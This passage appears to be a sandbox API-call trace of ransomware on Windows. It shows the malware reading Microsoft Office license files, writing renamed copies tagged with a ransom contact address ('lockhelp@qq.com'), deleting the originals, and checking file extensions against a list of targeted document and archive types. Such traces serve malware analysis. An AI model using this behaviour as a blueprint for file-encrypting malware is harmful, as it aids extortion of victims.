(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0316.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0316.391] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.391] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0316.392] GetLastError () returned 0x0 [0316.392] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x564d, lpOverlapped=0x0) returned 1 [0316.460] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x5650, lpOverlapped=0x0) returned 1 [0316.511] ReadFile (in: hFile=0x50c, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.511] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x116, lpOverlapped=0x0) returned 1 [0316.511] SetEndOfFile (hFile=0x52c) returned 1 [0316.513] CloseHandle (hObject=0x52c) returned 1 [0316.513] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.513] SetEndOfFile (hFile=0x50c) returned 1 [0316.531] CloseHandle (hObject=0x50c) returned 1 [0316.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1 [0316.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0316.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0316.596] lstrlenW (lpString=".doc") returned 4 [0316.597] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.597] lstrlenW (lpString=".docx") returned 5 [0316.597] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.597] lstrlenW (lpString=".pdf") returned 4 [0316.597] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.597] lstrlenW (lpString=".xls") returned 4 [0316.597] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.597] lstrlenW (lpString=".xlsx") returned 5 [0316.597] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.597] lstrlenW (lpString=".ppt") returned 4 [0316.597] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0316.597] lstrlenW (lpString=".zip") returned 4 [0316.597] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.597] lstrlenW (lpString=".rar") returned 4 [0316.597] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.597] lstrlenW (lpString=".bz2") returned 4 [0316.597] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.597] lstrlenW (lpString=".7z") returned 3 [0316.597] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0316.597] lstrlenW (lpString=".dbf") returned 4 [0316.597] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0316.597] lstrlenW (lpString=".1cd") returned 4 [0316.597] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0316.597] lstrlenW (lpString=".jpg") returned 4 [0316.597] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.601] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=22094) returned 1 [0316.601] CloseHandle (hObject=0x4b8) returned 1 [0316.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0316.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0316.603] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.603] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0316.681] GetLastError () returned 0x0 [0316.681] ReadFile (in: hFile=0x448, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x564e, lpOverlapped=0x0) returned 1 [0316.718] WriteFile (in: hFile=0x4c4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x5650, lpOverlapped=0x0) returned 1 [0316.719] ReadFile (in: hFile=0x448, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0316.719] WriteFile (in: hFile=0x4c4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x118, lpOverlapped=0x0) returned 1 [0316.719] SetEndOfFile (hFile=0x4c4) returned 1 [0316.728] CloseHandle (hObject=0x4c4) returned 1 [0316.730] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0316.730] SetEndOfFile (hFile=0x448) returned 1 [0316.741] CloseHandle (hObject=0x448) returned 1 [0316.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1 [0316.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0316.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0316.999] lstrlenW (lpString=".doc") returned 4 [0316.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.999] lstrlenW (lpString=".docx") returned 5 [0316.999] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.999] lstrlenW (lpString=".pdf") returned 4 [0317.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.000] lstrlenW (lpString=".xls") returned 4 [0317.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.000] lstrlenW (lpString=".xlsx") returned 5 [0317.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.000] lstrlenW (lpString=".ppt") returned 4 [0317.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0317.000] lstrlenW (lpString=".zip") returned 4 [0317.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.000] lstrlenW (lpString=".rar") returned 4 [0317.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.000] lstrlenW (lpString=".bz2") returned 4 [0317.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.000] lstrlenW (lpString=".7z") returned 3 [0317.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0317.000] lstrlenW (lpString=".dbf") returned 4 [0317.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0317.000] lstrlenW (lpString=".1cd") returned 4 [0317.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0317.000] lstrlenW (lpString=".jpg") returned 4 [0317.000] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0317.075] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.075] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0317.076] GetLastError () returned 0x0 [0317.076] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0317.128] WriteFile (in: hFile=0x4a0, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0317.129] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.129] WriteFile (in: hFile=0x4a0, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11e, lpOverlapped=0x0) returned 1 [0317.129] SetEndOfFile (hFile=0x4a0) returned 1 [0317.129] CloseHandle (hObject=0x4a0) returned 1 [0317.129] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.129] SetEndOfFile (hFile=0x4b4) returned 1 [0317.132] CloseHandle (hObject=0x4b4) returned 1 [0317.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1 [0317.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0317.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0317.133] lstrlenW (lpString=".doc") returned 4 [0317.133] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.133] lstrlenW (lpString=".docx") returned 5 [0317.133] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.133] lstrlenW (lpString=".pdf") returned 4 [0317.133] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.133] lstrlenW (lpString=".xls") returned 4 [0317.133] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.133] lstrlenW (lpString=".xlsx") returned 5 [0317.133] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.133] lstrlenW (lpString=".ppt") returned 4 [0317.133] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0317.134] lstrlenW (lpString=".zip") returned 4 [0317.134] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.134] lstrlenW (lpString=".rar") returned 4 [0317.134] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.134] lstrlenW (lpString=".bz2") returned 4 [0317.134] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.134] lstrlenW (lpString=".7z") returned 3 [0317.134] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0317.134] lstrlenW (lpString=".dbf") returned 4 [0317.134] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0317.134] lstrlenW (lpString=".1cd") returned 4 [0317.134] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0317.134] lstrlenW (lpString=".jpg") returned 4 [0317.134] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.135] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11621) returned 1 [0317.135] CloseHandle (hObject=0x4b4) returned 1 [0317.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220 [0317.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0317.135] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.135] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0317.136] GetLastError () returned 0x0 [0317.136] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0317.206] WriteFile (in: hFile=0x4a0, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0317.207] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.207] WriteFile (in: hFile=0x4a0, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11e, lpOverlapped=0x0) returned 1 [0317.207] SetEndOfFile (hFile=0x4a0) returned 1 [0317.207] CloseHandle (hObject=0x4a0) returned 1 [0317.207] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.208] SetEndOfFile (hFile=0x4b4) returned 1 [0317.210] CloseHandle (hObject=0x4b4) returned 1 [0317.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1 [0317.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0317.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0317.211] lstrlenW (lpString=".doc") returned 4 [0317.211] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.211] lstrlenW (lpString=".docx") returned 5 [0317.211] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.211] lstrlenW (lpString=".pdf") returned 4 [0317.211] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.211] lstrlenW (lpString=".xls") returned 4 [0317.211] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.211] lstrlenW (lpString=".xlsx") returned 5 [0317.212] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.212] lstrlenW (lpString=".ppt") returned 4 [0317.212] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0317.212] lstrlenW (lpString=".zip") returned 4 [0317.212] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.212] lstrlenW (lpString=".rar") returned 4 [0317.212] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.212] lstrlenW (lpString=".bz2") returned 4 [0317.212] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.212] lstrlenW (lpString=".7z") returned 3 [0317.212] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0317.212] lstrlenW (lpString=".dbf") returned 4 [0317.212] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0317.212] lstrlenW (lpString=".1cd") returned 4 [0317.212] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0317.212] lstrlenW (lpString=".jpg") returned 4 [0317.212] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.212] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=22091) returned 1 [0317.213] CloseHandle (hObject=0x4b4) returned 1 [0317.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220 [0317.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0317.214] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.214] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0317.214] GetLastError () returned 0x0 [0317.214] ReadFile (in: hFile=0x4b4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x564b, lpOverlapped=0x0) returned 1 [0317.237] WriteFile (in: hFile=0x4a0, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x377fc94, 